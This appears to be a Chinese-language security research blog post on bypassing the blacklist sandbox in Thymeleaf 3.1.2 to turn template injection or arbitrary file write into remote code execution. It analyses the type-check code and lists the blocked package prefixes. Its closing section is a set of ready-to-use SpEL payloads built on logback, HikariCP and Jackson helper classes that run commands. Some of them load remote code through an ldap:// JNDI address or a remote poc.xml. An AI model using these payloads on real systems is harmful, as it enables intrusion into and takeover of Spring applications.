TL;DR
分享之前研究的一些绕过thymeleaf
黑名单防护机制的payload
。
模版在挖洞的妙用
thymeleaf
是java
的一个模版引擎,在社区已经有非常详细的研究文章了,几位前辈研究的重点在于thymeleaf
解析/渲染逻辑以及触发thymeleaf SSTI
的漏洞场景。
如:
https://xz.aliyun.com/t/12969?keyword%3Dthymeleaf#toc-15
https://xz.aliyun.com/t/10514
在代码审计过程中,挖掘到任意文件写入/任意文件上传等漏洞的概率往往比挖掘到直接命令执行漏洞的概率大。这时,我们往往需要通过写定时任务、ssh
公钥、模版等trick
来将漏洞危害提升至远程命令执行。
然而,受到启动应用进程权限较低、写入漏洞存在脏字符干扰等问题影响,写定时任务、公钥不是非常通用。因为它们有着较为严格的格式校验。
由于模版本身就作为应用的一部分,在拥有任意文件写入漏洞后写模版利用在绝大多数情况下都是可行的,不需要担心权限问题。并且模版容忍语法的鲁棒性比较强,大多数情况下payload
前后有一些脏字符是无所谓的。
因此,在任意文件写场景下通过写模版RCE
是一种比较通用的方法。当然,在jar
打包的场景下就不太好使了,除非你能找到一个任意文件包含。
除此之外,还有一些别的thymeleaf SSTI
触发模式,但最后问题都转化为怎么打thymeleaf RCE
。
thymeleaf沙箱防护机制分析及总结
我理解模版就是为了在渲染html
标签时顺便执行代码用的,出于安全考虑各个模版都做了一些安全限制,不过为了确保模版的灵活性,一般都是默认加黑名单限制而不是白名单。
先搭建一个测试环境,这里选择使用spring-boot-starter-thymeleaf
最新版本3.3.0
。
https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-thymeleaf/3.3.0
对应的thymepleaf
版本为3.1.2
,即最新版本。
测试模版的话先写一个显然会被ban
掉的payload
:
测试类如下,主要用于模拟指定templates
下任意模版渲染并返回结果。
public class LoginController {
private final ApplicationContext applicationContext;
private String templatePrefix = "file:///F:\\xxx\\templates\\";
private String templateSuffix = ".html";
@Autowired
public LoginController(ApplicationContext applicationContext) {
this.applicationContext = applicationContext;
}
@GetMapping({"/templates"})
public String templates(@RequestParam String fname){
String result = this.getTemplateEngine().process(fname, new Context());
return result;
}
private SpringTemplateEngine getTemplateEngine() {
SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
resolver.setApplicationContext(this.applicationContext);
resolver.setTemplateMode(TemplateMode.HTML);
resolver.setCharacterEncoding(StandardCharsets.UTF_8.name());
resolver.setPrefix(this.templatePrefix);
resolver.setSuffix(this.templateSuffix);
SpringTemplateEngine templateEngine = new SpringTemplateEngine();
templateEngine.setTemplateResolver(resolver);
return templateEngine;
}
}
访问该模版,不出意外的报错了:
根据报错信息定位到org.thymeleaf.engine.TemplateManager#resolveTemplate
。
根据藏青师傅的文章可知会执行到表达式,这里给出我认为值得打断点调试的位置。
evaluate:264, SPELVariableExpressionEvaluator (org.thymeleaf.spring6.expression)
parseAndProcess:661, TemplateManager (org.thymeleaf.engine)
evaluate
这里的expression
变量就是我们的payload
,紧接着调用getValue
。
后面的几步不详细跟了,简而言之就是在findType
也就是检查执行类的时候会调用到org.thymeleaf.util.ExpressionUtils#isTypeAllowed
方法,可以说这个方法就是thymeleaf
的防御逻辑。
首先会normalize
我们要执行类的包名,之后调用isTypeBlockedForTypeReference
,最关键的检测逻辑就是这里。首先过一遍黑名单,如果该类在黑名单的话就抛异常。
在跟过去发现这个黑名单也不是那么黑。。
isTypeBlockedForAllPurposes
的逻辑大体总结为:
-
如果不是
c,j,o,s
开头的包可以直接通过,不会被过滤。 -
如果是
com.sun.
开头的包会被block
。 -
isJavaPackage
方法判断了java.
开头的包,除了java.time
都不行。 -
以下黑名单
BLOCKED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES
的类都不行"jakarta." "org.xml.sax." "sun." "org.ietf.jgss." "javax." "org.omg." "com.sun." "org.w3c.dom." "jdk." "java."
我们的java.lang.Runtime
显然是java.
开头的包名,故不满足条件被ban
掉。
如果不被block
的话会走下面的逻辑:
下面的逻辑可以总结为:
- 如果不是
c n j o
开头的包可以通过。 -
com.squareup.javapoet.
会被block
。 - 以下这些包会被
block
:
"com.squareup.javapoet."
"net.bytebuddy."
"net.sf.cglib."
"javassist."
"javax0.geci."
"org.apache.bcel."
"org.aspectj."
"org.javassist."
"org.mockito."
"org.objectweb.asm."
"org.objenesis."
"org.springframework.aot."
"org.springframework.asm."
"org.springframework.cglib."
"org.springframework.javapoet."
"org.springframework.objenesis."
"org.springframework.web."
"org.springframework.webflow."
"org.springframework.context."
"org.springframework.beans."
"org.springframework.aspects."
"org.springframework.aop."
"org.springframework.expression."
"org.springframework.util."
感觉这个逻辑写的有点怪,可能是开发为了修漏洞反复修改防护逻辑积攒下来的吧。
不过非c n j o s
开头的包是有什么说法嘛?看了看绝大多数包都是这几个开头的字母,我猜可能是为了优化检测逻辑的速度。因为自己写的类很有可能不是c n j o s
开头,故直接放行。
除此之外,我们可以从黑名单学习到一些恶意类,对挖其他组件比较有帮助。
payload
因为这个防御逻辑看起来没那么严格。在总结之后,我尝试手动挖掘了几个payload,这里分享几个⑧。
ch.qos.logback.core.util.OptionHelper
ch.qos.logback.core.util.OptionHelper
来自logback-core
包,用于打印日志。在spring
中默认引入该依赖。
其instantiateByClassName
是一个静态方法,用于实例化无参指定类。对于无参实例化的场景,我们一般实例化SpelExpressionParser
紧接着,调用parseExpression
即可。这里也算个套娃绕过了。
[[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName("org.springframework.expression.spel.standard.SpelExpressionParser","".getClass().getSuperclass(),T(ch.qos.logback.core.util.OptionHelper).getClassLoader()).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('whoami')").getValue()}]]
com.zaxxer.hikari.HikariConfig
从fj
拿过来的payload
,HikariCP
也是非常热门的jdbc
连接池。
不过打jndi
需要出网。
[[${New com.zaxxer.hikari.HikariConfig().setMetricRegistry("ldap://127.0.0.1:1389")}]]
com.zaxxer.hikari.util.UtilityElf
com.zaxxer.hikari.util.UtilityElf
出网远程加载xml
。
[[${T(com.zaxxer.hikari.util.UtilityElf).createInstance("org.springframework.context.support.ClassPathXmlApplicationContext","".getClass().forName("org.springframework.context.support.ClassPathXmlApplicationContext"),"http://ip/poc.xml")}]]
com.zaxxer.hikari.util.UtilityElf
不出网执行el
表达式,在高版本如jdk17
可以使用jshell
执行命令。
[[${T(org. apache.tomcat.util.IntrospectionUtils).callMethodN(T(com.zaxxer.hikari.util.UtilityElf).createInstance('jakarta.el.ELProcessor', T(ch.qos.logback.core.util.Loader).loadClass('jakarta.el.ELProcessor')), 'eval', new java.lang.String[]{'"".getClass().forName("jdk.jshell.JShell").getMethods()[6].invoke("".getClass().forName("jdk.jshell.JShell")).eval("java.lang.Runtime.getRuntime().exec(\"calc\")")'}, T(org. apache.el.util.ReflectionUtil).toTypeArray(new java.lang.String[]{"java.lang.String"}))}]]
com.fasterxml.jackson.databind.util.ClassUtil
这个依赖不用多说,很通用。
com.fasterxml.jackson.databind.util.ClassUtil#createInstance
方法可以调用一个空参构造函数实例化,同样的套路整个SPEL
表达式执行。
[[${T(com.fasterxml.jackson.databind.util.ClassUtil).createInstance("".getClass().forName('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser'),true).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}]]